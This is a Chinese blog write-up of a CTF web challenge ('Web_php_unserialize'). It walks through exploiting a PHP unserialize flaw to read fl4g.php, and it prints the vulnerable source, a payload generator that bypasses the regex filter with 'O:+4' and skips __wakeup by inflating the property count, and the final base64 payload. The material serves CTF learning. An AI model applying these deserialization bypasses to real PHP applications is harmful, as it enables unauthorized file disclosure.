当前位置: 首页 > article >正文

90,【6】攻防世界 WEB Web_php_unserialize

进入靶场

进入靶场

<?php 
// 定义一个名为 Demo 的类
class Demo { 
    // 定义一个私有属性 $file,默认值为 'index.php'
    private $file = 'index.php';
    // 构造函数,当创建类的实例时会自动调用
    // 接收一个参数 $file,用于初始化对象的 $file 属性
    public function __construct($file) { 
        $this->file = $file; 
    }
    // 析构函数,当对象被销毁时自动调用
    // 使用 highlight_file 函数以高亮语法显示 $this->file 指定的文件内容
    // @ 符号用于抑制可能出现的错误信息
    // true 参数表示将高亮显示的内容作为字符串返回,而不是直接输出
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    // __wakeup 魔术方法,当对象被反序列化时自动调用
    // 该方法用于检查反序列化后的 $this->file 属性值
    // 如果 $this->file 不等于 'index.php',则将其重置为 'index.php'
    // 注释中提示秘密在 fl4g.php 文件中
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
// 检查是否通过 GET 请求传递了名为 'var' 的参数
if (isset($_GET['var'])) { 
    // 如果存在 'var' 参数,对其进行 Base64 解码
    $var = base64_decode($_GET['var']); 
    // 使用正则表达式检查解码后的字符串中是否包含特定格式的字符串
    // /[oc]:\d+:/i 用于匹配以 'o' 或 'c' 开头,后面跟着一个冒号,再跟着一个或多个数字,最后再跟着一个冒号的字符串
    // i 修饰符表示不区分大小写
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        // 如果匹配到,则输出 'stop hacking!' 并终止脚本执行
        die('stop hacking!'); 
    } else {
        // 如果没有匹配到,则尝试对解码后的字符串进行反序列化
        // @ 符号用于抑制可能出现的错误信息
        @unserialize($var); 
    } 
} else { 
    // 如果没有传递 'var' 参数,则以高亮语法显示当前文件(index.php)的内容
    highlight_file("index.php"); 
} 
?>

我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数

考点分析

  • PHP 反序列化:理解 PHP 对象的序列化和反序列化机制,以及如何利用反序列化过程中调用的魔术方法(如 __destruct__wakeup)来执行特定操作。
  • 正则过滤绕过:代码中使用正则表达式 /[oc]:\d+:/i 对输入进行过滤,需要思考如何绕过这个过滤机制。
  • 文件包含:通过控制 $file 属性的值,利用 highlight_file 函数读取目标文件内容。

解题思路

  1. 构造序列化对象:创建一个 Demo 类的对象,并将 $file 属性设置为目标文件(如 fl4g.php),然后对该对象进行序列化。
  2. 绕过 __wakeup 方法__wakeup 方法会在反序列化时将 $file 属性重置为 index.php,需要找到绕过该方法的方法。
  3. 绕过正则过滤:输入的序列化字符串不能包含正则表达式 /[oc]:\d+:/i 匹配的内容。
  4. Base64 编码:将处理后的序列化字符串进行 Base64 编码,作为 var 参数传递给脚本。

php在线运行,在线工具,在线编译IDE_w3cschool

 

<?php
// 定义一个名为 Demo 的类
class Demo { 
    // 定义一个私有属性 $file,初始值为 'fl4g.php',此文件可能包含我们要找的 flag 信息
    private $file = 'fl4g.php';
}

// 创建一个 Demo 类的实例,并对该实例进行序列化操作
// 序列化是将对象转换为一个字符串,以便于存储或传输
$a = serialize(new Demo);

// 原代码中的正则表达式 /[oc]:\d+:/i 会匹配以 'o' 或 'c' 开头,后跟冒号、一个或多个数字,再跟冒号的字符串
// 这里将序列化字符串中的 'O:4' 替换为 'O:+4',是为了绕过 preg_match() 函数的正则匹配
// 因为替换后的字符串不再符合正则表达式的匹配规则,从而避免被检测为恶意输入
$a = str_replace('O:4', 'O:+4',$a);

// 在 PHP 反序列化时,如果对象的属性个数与序列化字符串中声明的属性个数不一致
// 且序列化字符串中声明的属性个数大于实际属性个数时,__wakeup() 魔术方法将不会被调用
// Demo 类实际只有一个属性,这里将序列化字符串中的 ':1:'(表示有 1 个属性)替换为 ':2:'
// 以此绕过 __wakeup() 方法,防止其将 $file 属性重置为 'index.php'
$a = str_replace(':1:', ':2:',$a);

// 最后对处理后的序列化字符串进行 Base64 编码
// 因为原题目代码会对传入的 'var' 参数进行 Base64 解码操作
// 这样编码后得到的字符串可以作为 'var' 参数的值传递给原题目代码进行反序列化操作
echo base64_encode($a);
?>

 

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

笔记 

需要对序列化十分熟悉

 

 


http://www.kler.cn/a/528579.html

相关文章:

  • 2025:影刀RPA使用新实践--CSDN博客下载
  • LS和MMSE信道估计
  • HTML DOM 对象
  • python学opencv|读取图像(四十七)使用cv2.bitwise_not()函数实现图像按位取反运算
  • 智慧园区管理平台实现智能整合提升企业运营模式与管理效率
  • AI编译器之——为什么大模型需要Relax?
  • python-leetcode-完全二叉树的节点个数
  • webrtc协议详细解释
  • 完美还是完成?把握好度,辨证看待
  • 洛谷 P10289 [GESP样题 八级] 小杨的旅游 C++ 完整题解
  • 开发指南093-平台底层技术网站
  • DeepSeek本地部署详细指南
  • 跨域问题解决实践
  • 电路研究9.2.7——合宙Air780EP中嵌入式 TCPIP 相关命令使用方法研究
  • G. XOUR
  • pytorch实现文本摘要
  • [LeetCode]day9 203.移除链表元素
  • ASP.NET Core 中使用依赖注入 (DI) 容器获取并执行自定义服务
  • w179基于Java Web的流浪宠物管理系统的设计与实现
  • 使用pandas的read_excel()报错:
  • websocket实现聊天室应用,包括文字和图片上传_websocket onmessage怎么接收客户端的图片
  • 【ts + java】古玩系统开发总结
  • 【算法设计与分析】实验8:分支限界—TSP问题
  • 【机器学习】自定义数据集 ,使用朴素贝叶斯对其进行分类
  • Python之Excel操作 - 写入数据
  • Android学习制作app(ESP8266-01S连接-简单制作)